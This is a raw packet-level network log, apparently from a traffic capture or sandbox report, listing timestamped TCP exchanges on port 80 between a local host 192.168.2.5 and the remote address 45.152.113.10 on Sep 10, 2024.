Sep 10, 2024 19:36:10.611711979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611718893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611726046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611732006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611742020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611752987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611757040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611763000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611779928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611799955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611813068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611818075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611829996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611840010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611850977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611860991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611866951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611871004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611881971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611892939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611901999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.611901999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611923933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611965895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.611965895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612036943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612086058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612107992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612118006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612135887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612145901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612155914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612159014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612175941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612185955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612186909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612198114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612205029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612215042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612229109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612252951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612253904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612266064 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612277031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612278938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612289906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612301111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612303019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612328053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612339973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612349987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612363100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612375021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612385035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612395048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612399101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612418890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612428904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612441063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612445116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612452030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612462997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.612473965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.612499952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.624828100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624861002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624871969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624896049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.624916077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.624933004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624944925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624957085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624967098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.624974966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.624979019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625008106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625025988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625030994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625037909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625049114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625060081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625067949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625085115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625109911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625216007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625226974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625243902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625253916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625260115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625266075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625276089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625288010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625294924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625299931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625308990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625312090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625323057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625334024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625339985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625349998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625364065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625375986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625380993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625391960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625403881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625406027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625423908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625423908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625432968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625436068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625447989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.625452042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625473022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.625494957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661602974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661648035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661659002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661715031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661770105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661782026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661792040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661803007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661813021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661814928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661828041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661847115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661860943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661883116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661941051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.661942005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.661953926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662003040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662020922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662031889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662041903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662059069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662069082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662080050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662103891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662117004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662225962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662236929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662246943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662266016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662276030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662281036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662286997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662296057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662297964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662323952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662345886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662367105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662379026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662389040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662401915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662416935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662427902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662451982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662496090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662514925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662524939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662534952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662539959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662545919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662554979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662556887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662565947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662575960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662586927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662592888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662592888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662599087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662607908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662638903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662669897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662679911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662697077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662708044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662719011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662729979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662731886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662741899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662751913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662755966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662761927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662776947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662781954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662794113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662803888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662803888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662815094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662821054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662832975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662843943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662852049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662854910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662864923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.662873030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.662900925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.697755098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697766066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697777033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697787046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697796106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697804928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697848082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.697875977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.697988987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.697999954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698010921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698020935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698035002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698040009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698060036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698066950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698085070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698091984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698097944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698107958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698110104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698134899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698157072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698167086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698178053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698187113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698216915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698240995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698271990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698282003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698318958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698393106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698404074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698414087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.698446989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.698462009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.730467081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.736031055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872386932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872409105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872420073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872481108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872503996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872514963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872545004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872545004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872546911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872558117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872570038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872579098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872580051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872591972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872596979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872621059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872646093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872673035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872683048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872694016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872704029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872714996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872720957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872725010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872746944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872760057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872889996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872900009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872910976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872925997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872932911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872936964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872947931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.872952938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.872982979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873043060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873054028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873064041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873074055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873085022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873087883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873095036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873105049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873116016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873116970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873146057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873148918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873159885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873163939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873169899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873179913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873188019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873192072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873200893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873207092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873212099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873224974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873239040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873260021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873279095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873291016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873300076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873311043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873322010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873327971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873338938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873352051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873352051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873378038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873395920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873418093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873429060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873439074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873449087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873459101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873461962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873469114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873490095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873503923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873507977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873516083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873527050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873538017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873544931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873548031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873558998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873569012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873574972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873608112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873780966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873791933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873801947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873820066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873825073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873833895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873843908 CEST	80	49707	45.152.113.10	192.168.2.5
